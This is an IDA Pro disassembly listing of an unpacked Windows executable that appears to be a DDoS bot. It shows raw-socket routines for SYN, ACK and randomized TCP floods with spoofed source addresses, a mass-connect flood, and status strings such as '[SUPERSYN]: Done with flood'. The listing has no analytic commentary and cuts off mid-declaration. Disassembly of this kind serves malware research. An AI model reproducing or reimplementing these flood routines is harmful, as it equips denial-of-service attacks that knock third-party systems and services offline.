; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E17FAC875C1776B7AF01C6B1E8E6FE54 ; File Name : u:\work\e17fac875c1776b7af01c6b1e8e6fe54_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0008B000 ( 569344.) ; Section size in file : 0008B000 ( 569344.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EC43+39CBo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_423058 ; GetTickCount push eax call sub_417008 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E8 push eax lea eax, [ebp+var_494] push offset dword_425050 push eax call sub_416FB6 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D476 add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_494] push eax call sub_40BD8D push [ebp+var_290] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B2 proc near ; CODE XREF: sub_4013E8+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43EA9C ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013BB ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43EBC8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013B3 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43EB04 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013A9 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43EB24 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43EB24 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43EB24 ; htons mov [ebp+var_12], ax call sub_417012 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43EB24 ; htons push 12345678h mov [ebp+var_14], ax call dword_43EB20 ; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_417012 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_417012 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43EB24 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_423060 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_42305C ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417460 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2EEj mov [ebp+var_4], bx call sub_417012 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43EB24 ; htons mov [ebp+var_14], ax call sub_417012 mov edi, eax shl edi, 10h call sub_417012 or edi, eax push edi call dword_43EB24 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43EB20 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43EB24 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417090 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417090 lea eax, [ebp+var_B4] push 34h push eax call sub_40AD61 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417090 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417090 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417030 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AD61 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417090 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43EB88 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013BF add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_42305C ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013A6 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jb loc_401264 loc_4013A6: ; CODE XREF: sub_4010B2+2E0j mov ebx, [ebp+arg_8] loc_4013A9: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+334j push [ebp+var_20] call dword_43EBBC ; closesocket pop esi loc_4013B3: ; CODE XREF: sub_4010B2+5Bj call dword_43EA84 ; WSACleanup mov eax, ebx loc_4013BB: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013BF: ; CODE XREF: sub_4010B2+2CBj call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_425094 push eax call sub_416FB6 lea eax, [ebp+var_F4] push eax call sub_40BD8D add esp, 10h jmp short loc_4013A9 sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= sub_4013E8 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ABF8 push [esp+10h+arg_4] mov esi, eax call sub_41751F push [esp+14h+arg_C] mov ebx, eax call sub_41751F mov edi, eax call sub_417012 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401435 inc eax loc_401435: ; CODE XREF: sub_4013E8+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401444 proc near ; DATA XREF: sub_40EC43+3BBEo var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_1BC] push 0FFh inc ebx push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43EBA4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014DF call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_425228 push eax loc_401493: ; DATA XREF: .data:off_4272E8o call sub_416FB6 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C2 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D476 add esp, 14h loc_4014C2: ; CODE XREF: sub_401444+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BD8D push [ebp+var_38] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread loc_4014DF: ; CODE XREF: sub_401444+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43EB04 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401556 call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_4251E0 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_401539 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D476 add esp, 14h loc_401539: ; CODE XREF: sub_401444+D3j lea eax, [ebp+var_3BC] push eax call sub_40BD8D push [ebp+var_38] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread loc_401556: ; CODE XREF: sub_401444+B3j lea eax, [ebp+var_1B8] push eax call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015BD lea eax, [ebp+var_3BC] push offset unk_4251B0 push eax call sub_416FB6 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A0 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D476 add esp, 14h loc_4015A0: ; CODE XREF: sub_401444+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BD8D push [ebp+var_38] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread loc_4015BD: ; CODE XREF: sub_401444+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417030 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43EB24 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43EB64 ; inet_addr mov esi, dword_423058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax jmp loc_40171E ; --------------------------------------------------------------------------- loc_401600: ; CODE XREF: sub_401444+2EBj push 41Ch mov byte_43B8C8, 45h call dword_43EB24 ; htons cmp [ebp+var_2C], edi mov word_43B8CA, ax mov word_43B8CC, bx mov word_43B8CE, di mov byte_43B8D0, 80h mov byte_43B8D1, bl mov word_43B8D2, di jz short loc_40166F call sub_417012 mov ebx, eax shl ebx, 8 call sub_417012 add ebx, eax shl ebx, 8 call sub_417012 add ebx, eax shl ebx, 8 call sub_417012 add ebx, eax mov dword_43B8D4, ebx xor ebx, ebx inc ebx jmp short loc_401687 ; --------------------------------------------------------------------------- loc_40166F: ; CODE XREF: sub_401444+1F9j push [ebp+var_1BC] call sub_40AD08 pop ecx push eax call dword_43EB64 ; inet_addr mov dword_43B8D4, eax loc_401687: ; CODE XREF: sub_401444+229j mov eax, [ebp+var_18] mov dword_43B8D8, eax call sub_417012 cdq mov ecx, 100h idiv ecx mov byte_43B8DC, dl call sub_417012 cdq mov ecx, 100h idiv ecx mov byte_43B8DD, dl call sub_417012 cdq mov ecx, 0F0h push 400h idiv ecx mov word_43B8DE, di mov word_43B8E2, bx inc edx mov word_43B8E0, dx call sub_417012 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43B8E4 call sub_417030 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43B8C8 push [ebp+var_4] call dword_43EB88 ; sendto cmp eax, 0FFFFFFFFh jz loc_4017BA inc [ebp+arg_0] loc_40171E: ; CODE XREF: sub_401444+1B7j call esi ; GetTickCount sub eax, [ebp+var_8] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_30] jbe loc_401600 push [ebp+var_4] call dword_43EBBC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_425150 push eax call sub_416FB6 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_40179D push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D476 add esp, 14h loc_40179D: ; CODE XREF: sub_401444+337j lea eax, [ebp+var_3BC] push eax call sub_40BD8D push [ebp+var_38] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread loc_4017BA: ; CODE XREF: sub_401444+2D1j push [ebp+var_4] call dword_43EBBC ; closesocket call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_4250F0 lea eax, [ebp+var_3BC] push 200h push eax call sub_41752A add esp, 18h cmp [ebp+var_24], edi jnz short loc_401812 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D476 add esp, 14h loc_401812: ; CODE XREF: sub_401444+3ACj lea eax, [ebp+var_3BC] push eax call sub_40BD8D push [ebp+var_38] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread sub_401444 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182F proc near ; DATA XREF: sub_40EC43+1513o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401985 push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_416FB6 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AC push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D476 add esp, 14h loc_4018AC: ; CODE XREF: sub_40182F+5Bj lea eax, [ebp+var_414] push eax call sub_40BD8D push [ebp+var_10] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_40182F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CB proc near ; CODE XREF: sub_401985+27p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417030 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43EB24 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_401981 push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_401915: ; CODE XREF: sub_4018CB+B2j xor esi, esi loc_401917: ; CODE XREF: sub_4018CB+77j push 0 push 1 push 2 call dword_423214 ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_40193F lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_423218 ; ioctlsocket loc_40193F: ; CODE XREF: sub_4018CB+62j inc esi cmp esi, edi jl short loc_401917 xor esi, esi loc_401946: ; CODE XREF: sub_4018CB+91j lea eax, [ebp+var_14] push 10h push eax push [ebp+esi*4+var_654] call dword_42321C ; connect inc esi cmp esi, edi jl short loc_401946 push 64h call dword_423064 ; Sleep xor esi, esi loc_401968: ; CODE XREF: sub_4018CB+ADj push [ebp+esi*4+var_654] call dword_423220 ; closesocket inc esi cmp esi, edi jl short loc_401968 dec [ebp+arg_4] jnz short loc_401915 pop edi pop esi loc_401981: ; CODE XREF: sub_4018CB+3Ej xor eax, eax leave retn sub_4018CB endp ; =============== S U B R O U T I N E ======================================= sub_401985 proc near ; CODE XREF: sub_40182F+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ABF8 push [esp+10h+arg_4] mov edi, eax call sub_41751F push [esp+14h+arg_8] mov ebx, eax call sub_41751F mov esi, eax push esi push ebx push edi call sub_4018CB add esp, 18h test eax, eax jnz short loc_4019B9 inc eax loc_4019B9: ; CODE XREF: sub_401985+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019C8 proc near ; DATA XREF: sub_40EC43+38BCo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D15 push eax lea eax, [ebp+var_414] push offset unk_425294 push eax call sub_416FB6 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_401A45 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D476 add esp, 14h loc_401A45: ; CODE XREF: sub_4019C8+5Bj lea eax, [ebp+var_414] push eax call sub_40BD8D push [ebp+var_10] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_4019C8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A64 proc near ; CODE XREF: sub_401D15+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43EA9C ; WSAStartup test eax, eax jz short loc_401AA4 xor eax, eax jmp loc_401CE8 ; --------------------------------------------------------------------------- loc_401AA4: ; CODE XREF: sub_401A64+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43EBC8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401CE0 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43EB04 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401CD6 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417030 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43EB24 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43EB24 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43EB24 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43EB24 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_423060 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_42305C ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417460 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401B8F: ; CODE XREF: sub_401A64+25Dj ; sub_401A64+269j mov [ebp+var_24], bx call sub_417012 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43EB24 ; htons mov [ebp+var_34], ax call sub_417012 mov edi, eax shl edi, 10h call sub_417012 or edi, eax push edi call dword_43EB24 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43EB20 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43EB24 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417090 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417090 lea eax, [ebp+var_B4] push 34h push eax call sub_40AD61 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417090 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417090 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417030 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AD61 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417090 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43EB88 ; sendto cmp eax, 0FFFFFFFFh jz short loc_401CEC add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_42305C ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_401CD3 jl loc_401B8F mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_401B8F loc_401CD3: ; CODE XREF: sub_401A64+25Bj mov ebx, [ebp+arg_8] loc_401CD6: ; CODE XREF: sub_401A64+78j ; sub_401A64+2AFj push [ebp+var_C] call dword_43EBBC ; closesocket pop esi loc_401CE0: ; CODE XREF: sub_401A64+5Bj call dword_43EA84 ; WSACleanup mov eax, ebx loc_401CE8: ; CODE XREF: sub_401A64+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401CEC: ; CODE XREF: sub_401A64+247j call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4252CC push eax call sub_416FB6 lea eax, [ebp+var_F4] push eax call sub_40BD8D add esp, 10h jmp short loc_401CD6 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= sub_401D15 proc near ; CODE XREF: sub_4019C8+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ABF8 push [esp+10h+arg_4] mov esi, eax call sub_41751F push [esp+14h+arg_8] mov ebx, eax call sub_41751F mov edi, eax call sub_417012 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A64 add esp, 1Ch test eax, eax jnz short loc_401D5E inc eax loc_401D5E: ; CODE XREF: sub_401D15+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6D proc near ; DATA XREF: sub_40EC43+2CF2o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword 